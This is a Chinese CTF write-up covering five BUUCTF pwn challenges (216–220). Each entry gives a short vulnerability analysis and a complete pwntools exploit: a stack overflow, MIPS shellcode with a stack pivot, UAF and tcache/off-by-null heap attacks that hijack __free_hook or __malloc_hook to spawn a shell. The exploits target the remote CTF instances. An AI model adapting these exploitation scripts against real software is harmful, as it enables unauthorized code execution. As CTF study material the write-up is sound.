216 hwb2018_gettingstart
溢出覆盖就好,唯一有个浮点数,网上网站一大把,找一个转换一下就好。
exp
from pwn import *
context(log_level='debug')
r=remote("node4.buuoj.cn","25539")
r.recv()
v7=0x7FFFFFFFFFFFFFFF
v8=0x3FB999999999999A
payload='a'*0x18+p64(v7)+p64(v8)
r.send(payload)
r.recv()
r.interactive()
217 axb_2019_mips
看这题目,一道mips。
但是其实保护一点没开。
IDA反编译不了,我也懒得下载ghidra,汇编好像不多,直接读汇编吧。
mips的函数调用规则其实看这四句汇编就够了。
addiu就是加
sw就是把寄存器里的值放到对应寄存器的偏移处。
这四句话啥意思。
首先sp寄存器-0x38.就是新开了栈。
把ra寄存器,也就是返回地址的值放到sp寄存器加0x30+4的地方。
把fp寄存器,也就是栈底指针寄存器的值放到sp寄存器加0x30的地方。
然后fp寄存器更新为sp寄存器的值。
一会变量啥的都是用fp寄存器去寻找。
一共三个函数,第一个是main,第二个是vuln,还有一个专门的gadget函数。
首先看main
一进来首先是alarm函数跟三个setbuf函数。平平无奇。
两个输出跟一个输入函数。
输入看的出来开的栈大小是0x18,因为addiu是加法指令,$fp可以理解成ebp寄存器。
然后就是一句输出并且进入了vuln函数。
这个函数里面有个输入,明显看到栈开了0x20,然后可以输入0x200.
所以栈溢出我们研究怎样突破它
因为没有开NX,所以我们其实可以直接ret2shellcode,栈迁移来做。
不可以ret2libc,因为没有给libc。
所以就栈迁移到bss上,然后ret2shellcode一套带走就好了。
栈迁移呢做的是我们不太常见的那种,因为只有一次read的机会,所以我们返回地址必须填写带read的函数。但是如果直接写vuln函数,vuln在开始时会有一段开栈的操作,这一下会再把$fp带回来,所以我们只能从这个函数一半read函数处截胡。读shellcode到bss上,然后写好返回地址就可以了。
exp
# -*- coding: utf-8 -*-
from pwn import *
r = remote('node4.buuoj.cn',27128)
bss = 0x410b70
read_addr = 0x4007e0
r.sendafter("What's your name:","YOngibaoi")
shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
payload = 'a'*0x20
payload += p32(bss + 0x200 - 0x40 + 0x28)
#bss往下拉了0x200,防止一会输入影响bss上面正常内容
payload += p32(read_addr)
r.send(payload)
sleep(1)
payload = 'a'*0x24
payload += p32(bss + 0x200 + 0x28)
payload += shellcode
r.send(payload)
r.interactive()
218 铁人三项(第五赛区)_2018_breakfast
crea
结构还是比较简单的,都在bss上。
ptr指针,最多100个chunk,然后先是100个addr,又跟着100个size。
modify
就是用来往里面读内容。
ver
就是输出
我看半天,我发现这个write不大对劲。
它输出的不是我们平常的“内容”,而实[内容]。
libera
显然有uaf。
因为show的原因,本来可以直接释放八个chunk然后泄露,但是这个就直接read进去got表的地址,write出来就可以泄露。
然后劫持free_hook就好了。
exp
from pwn import *
context.log_level = "debug"
r = remote("node4.buuoj.cn","26075")
#r = process("./218")
elf = ELF('./218')
libc = ELF('./64/libc-2.27.so')
def create(pos,size):
r.sendlineafter('5.- Exit', "1")
r.sendlineafter('Enter the position of breakfast', str(pos))
r.sendlineafter('Enter the size in kcal.', str(size))
def read(index, context):
r.sendlineafter('5.- Exit', "2")
r.sendlineafter('Introduce the menu to ingredients', str(index))
r.sendlineafter('Enter the ingredients', context)
def write(index):
r.sendlineafter('5.- Exit', "3")
r.sendlineafter('Enter the breakfast to see', str(index))
def delete(index):
r.sendlineafter('5.- Exit', "4")
r.sendlineafter('Introduce the menu to delete', str(index))
write_got = elf.got['write']
create(1, 8)
read(1, p64(write_got))
write(1)
write_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
libc_base = write_addr - libc.sym['write']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
print "libc_base = " + hex(libc_base)
create(1, 96)
create(2, 96)
read(2, "/bin/sh\x00")
delete(1)
read(1, p64(free_hook))
create(1, 96)
create(1, 96)
#gdb.attach(r)
read(1, p64(system_addr))
delete(2)
r.interactive()
219 ciscn_2019_sw_7
add
最多十个chunk。
size最大0x60.
申请到的chunk会自动多加8个,前八个字节存放size。
然后chunk地址会放在bss数组中。
会把地址最后一个半字节输出出来,不知道有啥用。
我们发现,这里的size没有限制我们能不能输入0或者负数
经过我们看那个输入函数的时候,我们看到size输入0的时候会造成溢出。
show
输出也是平平无奇的。
没有edit
free
那么其实我们这个题目可以利用的只有那个溢出。
那么溢出我们首先要考虑去泄露地址,大小限定了不能大于0x60,所以我们没有机会去将chunk挂在unsorted bin中。
我们需要通过溢出构造一个比较大的chunk,但是我们问题又来了,我们需要攻击tcache的头,不然还是挂不进去。
所以我们就首先通过溢出,通过爆破,来攻击表头,将chunk挂进unsorted bin中,再泄露地址,相同手法攻击malloc_hook就可以了。
当然free_hook啥的都可以。
exp
#coding:utf8
from pwn import *
libc = ELF('./64/libc-2.27.so')
def add(size,content):
r.sendlineafter('>','1')
r.sendlineafter('The size of note:',str(size))
r.sendlineafter('The content of note:',content)
def show(index):
r.sendlineafter('>','2')
r.sendlineafter('Index:',str(index))
def delete(index):
r.sendlineafter('>','4')
r.sendlineafter('Index:',str(index))
def exp():
add(0,'a')
add(0x50,'b')
add(0,'c')
add(0x50,'d')
add(0x50,'e')
delete(4)
delete(3)
delete(2)
add(0,'c'*0x8 + p64(0) + p64(0x61) + p8(0x1B - 8)) #2
add(0x50,'d') #3
add(0x50,'\x00' + p8(0xFF)) #4
payload = 'a'*0x8 + p64(0) + p64(0x60 + 0x20 + 0x61)
delete(0)
add(0,payload) #0
delete(1)
add(0x20,'b') #1
add(0x20,'b') #5
show(2)
r.recvuntil('2 : ')
malloc_hook = (u64(r.recv(6).ljust(8,'\x00')) & 0xFFFFFFFFFFFFF000) + (libc.symbols['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.symbols['__malloc_hook']
if libc_base >> 40 != 0x7F:
raise Exception('error leak!')
one_gadget = libc_base + 0x10a38c
print 'libc_base=',hex(libc_base)
#3放入tcache bin
delete(3)
add(0x60,'c'*0x18 + p64(malloc_hook-0x8)) #3
add(0x50,'c')
add(0x50,p64(one_gadget))
r.sendlineafter('>','1')
r.sendlineafter('The size of note:','1')
while True:
try:
global r
r = remote('node4.buuoj.cn',29019)
exp()
r.interactive()
except:
r.close()
print 'trying...'
220 gwctf_2019_chunk
add
最多十个chunk,大小也不能太大。
show
show就是普通show
delete
也就是free。也清空了。
edit
平平无奇edit
漏洞在何方。
原来它把它的输入函数叫了个read_0,我一直以为是read。
看看read_0
显然有个off by null。
所以我们就off by null制造overlap,因为ubuntu16,攻击malloc_hook就好。
exp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = "debug"
#r =process("./220")
r = remote("node4.buuoj.cn", "28020")
elf = ELF('./220')
libc = ELF("./64/libc-2.23.so")
def add(index, size):
r.sendlineafter("Your choice: ", "1")
r.sendlineafter("Give me a book ID: ", str(index))
r.sendlineafter("how long: ", str(size))
def free(index):
r.sendlineafter("Your choice: ", "3")
r.sendlineafter("Which one to throw?\n", str(index))
def edit(index, content):
r.sendlineafter("Your choice: ", "4")
r.sendlineafter("Which book to write?", str(index))
r.sendafter("Content: ", content) #这个地方也要用send.
def show(index):
r.sendlineafter("Your choice: ", "2")
r.sendlineafter("Which book do you want to show?", str(index))
add(0, 0xf8) #0
add(1, 0x68) #1
add(2, 0xf8) #2
add(3, 0x10) #3
free(0)
edit(1, "a" * 0x60 + p64(0x170))
free(2)
add(0, 0xf8) #0
show(1)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + 0x4526a
print "libc_base = " + hex(libc_base)
add(4, 0x68) #4
free(4)
edit(1, p64(malloc_hook - 0x23) + '\n')
add(4, 0x68) #5
add(5, 0x68) #6
edit(5, 'a' * 0xb + p64(one_gadget) + p64(realloc + 13) + '\n')
add(7, 0x88) #success!
r.interactive()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''